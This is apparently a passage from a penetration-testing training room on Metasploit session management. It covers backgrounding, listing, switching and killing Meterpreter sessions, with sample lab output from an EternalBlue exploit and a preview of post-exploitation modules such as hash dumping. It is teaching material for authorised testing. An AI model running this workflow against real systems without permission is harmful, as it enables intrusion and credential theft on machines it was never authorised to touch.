The session is still alive; you have simply moved your focus back to msfconsole. The target connection remains open in the background, and you can return to it at any time.

This is essential during multi-target engagements. Without backgrounding, you would need to close your current session (losing access) before you could load and run a different module. With backgrounding, you can maintain multiple simultaneous connections while continuing to work in msfconsole.

Listing Active Sessions

The sessions command (with no arguments) displays all active sessions. You can run this from the msf6 > prompt or from within any module context:

           msf6 > sessions

Active sessions
===============

 Id  Name  Type                  Information            Connection
  --  ----  ----                  -----------            ----------
  1         meterpreter x64/wind  NT AUTHORITY\SYSTEM @  10.81.117.184:4444 ->
            ows                    STRATFORD-WS01         10.81.162.215:49159
                                                         (10.81.162.215)
  2         meterpreter x64/wind  NT AUTHORITY\SYSTEM @  10.81.117.184:4445 ->
            ows                    STRATFORD-WS01         10.81.162.215:49161
                                                         (10.81.162.215)
        

Let's break down the columns:

• Id: The session's unique numeric identifier. You will use this number to interact with, kill, or route traffic through a specific session.
• Name: An optional label you can assign with sessions -n <name> -i <id>. Useful for keeping track of which session is which during complex engagements.
• Type: The session type and architecture (e.g., meterpreter x64/windows, shell x64/linux).
• Information: For Meterpreter sessions, this shows the user context and hostname. This tells you at a glance whether you landed as NT AUTHORITY\SYSTEM (full privileges) or as a regular user. Shell sessions may leave this column blank.
• Connection: The local and remote IP:port pair, showing exactly which machine and port each session is connected through.

In this example we've run the exploit twice against the target machine. Each session connects back to a different port on our attacking machine (4444, 4445), which is why setting unique LPORT values for each exploit matters when running multiple simultaneous attacks.

Interacting with a Session

To drop back into a specific session, use sessions -i followed by the session ID:

           msf6 > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
        

You are now back inside session 1, interacting directly with the STRATFORD-WS01 machine. Any command you type executes in the context of that session.

To switch to a different session, background the current one first (background or CTRL+Z), then interact with the other:

           meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 2
[*] Starting interaction with 2...
        

Closing Sessions

To terminate a specific session, use sessions -k followed by the session ID:

           msf6 > sessions -k 2
[*] Killing session 2
[*] MACHINE_IP - Meterpreter session 2 closed. Reason: User exit
        

To kill all active sessions at once (use with caution):

           msf6 > sessions -K
[*] Killing all sessions...
[*] MACHINE_IP - Meterpreter session 1 closed. Reason: User exit
        

Note the difference: lowercase -k <id> kills a single session; uppercase -K kills all sessions. In a real engagement, losing all your sessions simultaneously is a setback, so use -K deliberately and only when you intend to clean up.

Sessions and Post-Exploitation Modules

Sessions are not just interactive terminals; they are also the bridge to Metasploit's post-exploitation modules. Many post/ modules require a SESSION parameter that points to an existing session. For example, a module that dumps password hashes on a Windows target needs a Meterpreter session on that target to operate through.

The workflow looks like this:

1. Exploit a target and open a Meterpreter session
2. Background the session
3. Load a post-exploitation module with use
4. Set the SESSION parameter to the relevant session ID
5. Run the module

We will practice this workflow in depth in the Post-Exploitation room. For now, the key takeaway is that sessions are not just for interactive access; they are reusable connections that other modules can leverage.

In this room, we covered the foundations of the Metasploit Framework. Let's recap the core workflow you have learned:

1. Understand the building blocks: Metasploit organizes its capabilities into seven module categories (exploits, auxiliary, payloads, post, encoders, NOPs, evasion). Every engagement uses a combination of these modules, and the exploit → payload chain is the fundamental mechanism for gaining access to a target.

2. Find the right module: The search command, combined with filters like type:, platform:, and cve:, lets you locate relevant modules across a library of over 6,100 options. The info command gives you the technical details you need to decide whether a module fits your target.

3. Configure and launch: The use, set, setg, and show options commands let you load a module, assign its parameters, and verify your configuration. The exploit (or run) command sends it downrange, and the check command lets you verify vulnerability without firing the full exploit.

4. Manage your sessions: The background, sessions, and sessions -i commands let you maintain and switch between multiple active connections across an engagement. Sessions are not just interactive terminals; they are reusable connections that post-exploitation modules operate through.

It is time to move on to the next room: Metasploit: Scanning and Exploitation.